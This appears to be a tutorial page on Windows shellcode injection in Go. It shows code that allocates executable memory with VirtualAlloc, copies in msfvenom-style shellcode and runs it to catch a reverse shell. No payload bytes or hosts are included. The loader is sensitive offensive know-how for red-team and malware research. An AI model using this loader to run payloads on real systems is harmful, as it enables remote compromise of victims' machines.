Code Injection

Example of injecting shellcode into a local process.


Calling the Windows API

To call the Windows API in Go, we need to use the syscall library to load kernel32.dll and create references to the functions we need to use. Additionally, we'll create some constants reflecting those that exist in the Windows API.

For shellcode injection, the VirtualAlloc Windows function is used to allocate memory in our process to store the payload.

const (
	PROCESS_ALL_ACCESS     = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
	MEM_COMMIT             = 0x001000
	MEM_RESERVE            = 0x002000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32         = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)

Allocating memory and calling VirtualAlloc

Referencing documentation for the VirtualAlloc function in the C++ Windows API, we set our parameters to the Call function similarly in Go:

C++

LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

Go

	// Allocate memory as PAGE_EXECUTE_READWRITE
	addr, _, err := procVirtualAlloc.Call(
		0,                       // Starting address of region to allocate
		uintptr(len(shellcode)), // Size of region to allocate
		MEM_RESERVE|MEM_COMMIT,  // Memory allocation type
		PAGE_EXECUTE_READWRITE,  // Memory protection permissions
	)

Next, we write our shellcode into the allocated memory and execute it via a syscall at that memory address.

To copy the shellcode, we create a pointer reference to our allocated memory, addr, and cast it as a pointer to a large byte array. After the payload is copied in, we can execute it with syscall.Syscall(), passing in our shellcode starting address:

	// Write the shellcode into the allocated memory
	buf := (*[890000]byte)(unsafe.Pointer(addr))
	for x, value := range []byte(shellcode) {
		buf[x] = value
	}

	syscall.Syscall(addr, 0, 0, 0, 0)

Since the msfvenom shellcode is 32-bit, we set the GOARCH environment variable accordingly to compile into a 32-bit executable. If all goes well, building and executing the source should show our shellcode is executed:

Reverse Shell

Catching the reverse shell launched via injected shellcode payload.


References